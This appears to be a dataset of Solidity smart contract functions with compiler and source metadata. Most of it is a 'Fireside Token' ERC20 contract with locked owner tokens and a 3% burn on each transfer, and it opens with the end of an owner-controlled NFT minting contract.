baseURI = newBaseURI;
}
function resetBaseUrl() external onlyOwner {
baseURI = "";
}
function setSecretMetaURI(string calldata newSecretMetaURI)
external
onlyOwner
{
secretMetaURI = newSecretMetaURI;
}
function setMintEnable(bool newMintEnable) external onlyOwner {
mintEnable = newMintEnable;
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function mintedCount() external view returns (uint256) {
return _mintedCount;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
if (bytes(baseURI).length == 0) return secretMetaURI;
else return super.tokenURI(tokenId);
}
} | mint | function mint(address toAddress) external override {
require(factories[msg.sender], "only for factories");
require(_mintedCount < maxMintCount, "all tokens are minted");
require(mintEnable, "mint is not enabled");
_mint(toAddress, ++_mintedCount);
}
| /// @dev mint item (only for factories)
/// @param toAddress receiving address | NatSpecSingleLine | v0.8.7+commit.e28d00a7 | None | ipfs://9c3be4b6e1ac213315077c1749f654b5ed346da1bdd5fa283fdf0e966243212a | {
"func_code_index": [
650,
945
]
} | 8,857 |
||
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 lastVisit;
}
mapping(address => Locked) lockedTokens;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
owner = 0xa87e5b051541f289e9141Be73f05ca68B3dc3D8C;
balances[address(owner)] = totalSupply();
lockedTokens[owner].lastVisit = now;
lockedTokens[owner].tokens = 5200000 * 10 ** (decimals); // 5.2 million
emit Transfer(address(0),address(owner), totalSupply());
}
/** ERC20Interface function's implementation **/
function totalSupply() public override view returns (uint256){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public override returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
if (lockedTokens[msg.sender].tokens > 0){
check_time(msg.sender);
}
require(balances[msg.sender].sub(tokens) >= lockedTokens[msg.sender].tokens, "Please wait for tokens to be released");
balances[msg.sender] = balances[msg.sender].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
emit Transfer(msg.sender, to, tokens);
return true;
}
function check_time(address _from) private {
if ((now.sub(lockedTokens[_from].lastVisit)).div(30 days) >= 1){
uint256 months;
uint256 released;
uint256 monthlyAllowed = 520000 * 10 ** (decimals); // 520,000 per month
months = (now.sub(lockedTokens[_from].lastVisit)).div(30 days);
released = months.mul(monthlyAllowed);
if (released > lockedTokens[_from].tokens){
released = lockedTokens[_from].tokens;
}
lockedTokens[_from].lastVisit = now;
lockedTokens[_from].tokens = lockedTokens[_from].tokens.sub(released);
}
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public override returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
if (lockedTokens[from].tokens > 0){
check_time(from);
}
require(balances[from].sub(tokens) >= lockedTokens[from].tokens, "Please wait for tokens to be released");
balances[from] = balances[from].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
emit Transfer(from,to,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Burn the ``value` amount of tokens from the `account`
// ------------------------------------------------------------------------
function burnTokens(uint256 value) internal{
require(_totalSupply >= value); // burn only unsold tokens
_totalSupply = _totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | totalSupply | function totalSupply() public override view returns (uint256){
return _totalSupply;
}
| /** ERC20Interface function's implementation **/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
1077,
1180
]
} | 8,858 |
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 lastVisit;
}
mapping(address => Locked) lockedTokens;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
owner = 0xa87e5b051541f289e9141Be73f05ca68B3dc3D8C;
balances[address(owner)] = totalSupply();
lockedTokens[owner].lastVisit = now;
lockedTokens[owner].tokens = 5200000 * 10 ** (decimals); // 5.2 million
emit Transfer(address(0),address(owner), totalSupply());
}
/** ERC20Interface function's implementation **/
function totalSupply() public override view returns (uint256){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public override returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
if (lockedTokens[msg.sender].tokens > 0){
check_time(msg.sender);
}
require(balances[msg.sender].sub(tokens) >= lockedTokens[msg.sender].tokens, "Please wait for tokens to be released");
balances[msg.sender] = balances[msg.sender].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
emit Transfer(msg.sender, to, tokens);
return true;
}
function check_time(address _from) private {
if ((now.sub(lockedTokens[_from].lastVisit)).div(30 days) >= 1){
uint256 months;
uint256 released;
uint256 monthlyAllowed = 520000 * 10 ** (decimals); // 520,000 per month
months = (now.sub(lockedTokens[_from].lastVisit)).div(30 days);
released = months.mul(monthlyAllowed);
if (released > lockedTokens[_from].tokens){
released = lockedTokens[_from].tokens;
}
lockedTokens[_from].lastVisit = now;
lockedTokens[_from].tokens = lockedTokens[_from].tokens.sub(released);
}
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public override returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
if (lockedTokens[from].tokens > 0){
check_time(from);
}
require(balances[from].sub(tokens) >= lockedTokens[from].tokens, "Please wait for tokens to be released");
balances[from] = balances[from].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
emit Transfer(from,to,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Burn the ``value` amount of tokens from the `account`
// ------------------------------------------------------------------------
function burnTokens(uint256 value) internal{
require(_totalSupply >= value); // burn only unsold tokens
_totalSupply = _totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | balanceOf | function balanceOf(address tokenOwner) public override view returns (uint256 balance) {
return balances[tokenOwner];
}
| // ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------ | LineComment | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
1400,
1537
]
} | 8,859 |
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 lastVisit;
}
mapping(address => Locked) lockedTokens;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
owner = 0xa87e5b051541f289e9141Be73f05ca68B3dc3D8C;
balances[address(owner)] = totalSupply();
lockedTokens[owner].lastVisit = now;
lockedTokens[owner].tokens = 5200000 * 10 ** (decimals); // 5.2 million
emit Transfer(address(0),address(owner), totalSupply());
}
/** ERC20Interface function's implementation **/
function totalSupply() public override view returns (uint256){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public override returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
if (lockedTokens[msg.sender].tokens > 0){
check_time(msg.sender);
}
require(balances[msg.sender].sub(tokens) >= lockedTokens[msg.sender].tokens, "Please wait for tokens to be released");
balances[msg.sender] = balances[msg.sender].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
emit Transfer(msg.sender, to, tokens);
return true;
}
function check_time(address _from) private {
if ((now.sub(lockedTokens[_from].lastVisit)).div(30 days) >= 1){
uint256 months;
uint256 released;
uint256 monthlyAllowed = 520000 * 10 ** (decimals); // 520,000 per month
months = (now.sub(lockedTokens[_from].lastVisit)).div(30 days);
released = months.mul(monthlyAllowed);
if (released > lockedTokens[_from].tokens){
released = lockedTokens[_from].tokens;
}
lockedTokens[_from].lastVisit = now;
lockedTokens[_from].tokens = lockedTokens[_from].tokens.sub(released);
}
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public override returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
if (lockedTokens[from].tokens > 0){
check_time(from);
}
require(balances[from].sub(tokens) >= lockedTokens[from].tokens, "Please wait for tokens to be released");
balances[from] = balances[from].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
emit Transfer(from,to,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Burn the ``value` amount of tokens from the `account`
// ------------------------------------------------------------------------
function burnTokens(uint256 value) internal{
require(_totalSupply >= value); // burn only unsold tokens
_totalSupply = _totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transfer | function transfer(address to, uint256 tokens) public override returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
if (lockedTokens[msg.sender].tokens > 0){
check_time(msg.sender);
}
require(balances[msg.sender].sub(tokens) >= lockedTokens[msg.sender].tokens, "Please wait for tokens to be released");
balances[msg.sender] = balances[msg.sender].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
emit Transfer(msg.sender, to, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------ | LineComment | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
1881,
2763
]
} | 8,860 |
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 lastVisit;
}
mapping(address => Locked) lockedTokens;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
owner = 0xa87e5b051541f289e9141Be73f05ca68B3dc3D8C;
balances[address(owner)] = totalSupply();
lockedTokens[owner].lastVisit = now;
lockedTokens[owner].tokens = 5200000 * 10 ** (decimals); // 5.2 million
emit Transfer(address(0),address(owner), totalSupply());
}
/** ERC20Interface function's implementation **/
function totalSupply() public override view returns (uint256){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public override returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
if (lockedTokens[msg.sender].tokens > 0){
check_time(msg.sender);
}
require(balances[msg.sender].sub(tokens) >= lockedTokens[msg.sender].tokens, "Please wait for tokens to be released");
balances[msg.sender] = balances[msg.sender].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
emit Transfer(msg.sender, to, tokens);
return true;
}
function check_time(address _from) private {
if ((now.sub(lockedTokens[_from].lastVisit)).div(30 days) >= 1){
uint256 months;
uint256 released;
uint256 monthlyAllowed = 520000 * 10 ** (decimals); // 520,000 per month
months = (now.sub(lockedTokens[_from].lastVisit)).div(30 days);
released = months.mul(monthlyAllowed);
if (released > lockedTokens[_from].tokens){
released = lockedTokens[_from].tokens;
}
lockedTokens[_from].lastVisit = now;
lockedTokens[_from].tokens = lockedTokens[_from].tokens.sub(released);
}
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public override returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
if (lockedTokens[from].tokens > 0){
check_time(from);
}
require(balances[from].sub(tokens) >= lockedTokens[from].tokens, "Please wait for tokens to be released");
balances[from] = balances[from].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
emit Transfer(from,to,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Burn the ``value` amount of tokens from the `account`
// ------------------------------------------------------------------------
function burnTokens(uint256 value) internal{
require(_totalSupply >= value); // burn only unsold tokens
_totalSupply = _totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | approve | function approve(address spender, uint256 tokens) public override returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------ | LineComment | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
3724,
3946
]
} | 8,861 |
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 lastVisit;
}
mapping(address => Locked) lockedTokens;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
owner = 0xa87e5b051541f289e9141Be73f05ca68B3dc3D8C;
balances[address(owner)] = totalSupply();
lockedTokens[owner].lastVisit = now;
lockedTokens[owner].tokens = 5200000 * 10 ** (decimals); // 5.2 million
emit Transfer(address(0),address(owner), totalSupply());
}
/** ERC20Interface function's implementation **/
function totalSupply() public override view returns (uint256){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public override returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
if (lockedTokens[msg.sender].tokens > 0){
check_time(msg.sender);
}
require(balances[msg.sender].sub(tokens) >= lockedTokens[msg.sender].tokens, "Please wait for tokens to be released");
balances[msg.sender] = balances[msg.sender].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
emit Transfer(msg.sender, to, tokens);
return true;
}
function check_time(address _from) private {
if ((now.sub(lockedTokens[_from].lastVisit)).div(30 days) >= 1){
uint256 months;
uint256 released;
uint256 monthlyAllowed = 520000 * 10 ** (decimals); // 520,000 per month
months = (now.sub(lockedTokens[_from].lastVisit)).div(30 days);
released = months.mul(monthlyAllowed);
if (released > lockedTokens[_from].tokens){
released = lockedTokens[_from].tokens;
}
lockedTokens[_from].lastVisit = now;
lockedTokens[_from].tokens = lockedTokens[_from].tokens.sub(released);
}
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public override returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
if (lockedTokens[from].tokens > 0){
check_time(from);
}
require(balances[from].sub(tokens) >= lockedTokens[from].tokens, "Please wait for tokens to be released");
balances[from] = balances[from].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
emit Transfer(from,to,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Burn the ``value` amount of tokens from the `account`
// ------------------------------------------------------------------------
function burnTokens(uint256 value) internal{
require(_totalSupply >= value); // burn only unsold tokens
_totalSupply = _totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transferFrom | function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
if (lockedTokens[from].tokens > 0){
check_time(from);
}
require(balances[from].sub(tokens) >= lockedTokens[from].tokens, "Please wait for tokens to be released");
balances[from] = balances[from].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
emit Transfer(from,to,tokens);
return true;
}
| // ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------ | LineComment | v0.6.12+commit.27d51765 | Unlicense | ipfs://4343a339ece2e518ec365ff2f86436d4058d2580bc5eb6d8b3a23cdab37ad727 | {
"func_code_index": [
4482,
5341
]
} | 8,862 |
Token | Token.sol | 0x94989cb638eb46e04bb4bd12751d1e56bb9b57c1 | Solidity | Token | contract Token is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol = "FSD";
string public name = "Fireside Token";
uint256 public decimals = 18;
uint256 private _totalSupply = 20e6 * 10 ** (decimals);
struct Locked{
uint256 tokens;
uint256 lastVisit;
}
mapping(address => Locked) lockedTokens;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
owner = 0xa87e5b051541f289e9141Be73f05ca68B3dc3D8C;
balances[address(owner)] = totalSupply();
lockedTokens[owner].lastVisit = now;
lockedTokens[owner].tokens = 5200000 * 10 ** (decimals); // 5.2 million
emit Transfer(address(0),address(owner), totalSupply());
}
/** ERC20Interface function's implementation **/
function totalSupply() public override view returns (uint256){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public override returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
if (lockedTokens[msg.sender].tokens > 0){
check_time(msg.sender);
}
require(balances[msg.sender].sub(tokens) >= lockedTokens[msg.sender].tokens, "Please wait for tokens to be released");
balances[msg.sender] = balances[msg.sender].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
emit Transfer(msg.sender, to, tokens);
return true;
}
function check_time(address _from) private {
if ((now.sub(lockedTokens[_from].lastVisit)).div(30 days) >= 1){
uint256 months;
uint256 released;
uint256 monthlyAllowed = 520000 * 10 ** (decimals); // 520,000 per month
months = (now.sub(lockedTokens[_from].lastVisit)).div(30 days);
released = months.mul(monthlyAllowed);
if (released > lockedTokens[_from].tokens){
released = lockedTokens[_from].tokens;
}
lockedTokens[_from].lastVisit = now;
lockedTokens[_from].tokens = lockedTokens[_from].tokens.sub(released);
}
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public override returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
if (lockedTokens[from].tokens > 0){
check_time(from);
}
require(balances[from].sub(tokens) >= lockedTokens[from].tokens, "Please wait for tokens to be released");
balances[from] = balances[from].sub(tokens);
uint256 toBurn = onePercent(tokens).mul(3); // 3% transaction deduction
burnTokens(toBurn);
balances[to] = balances[to].add(tokens.sub(toBurn));
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
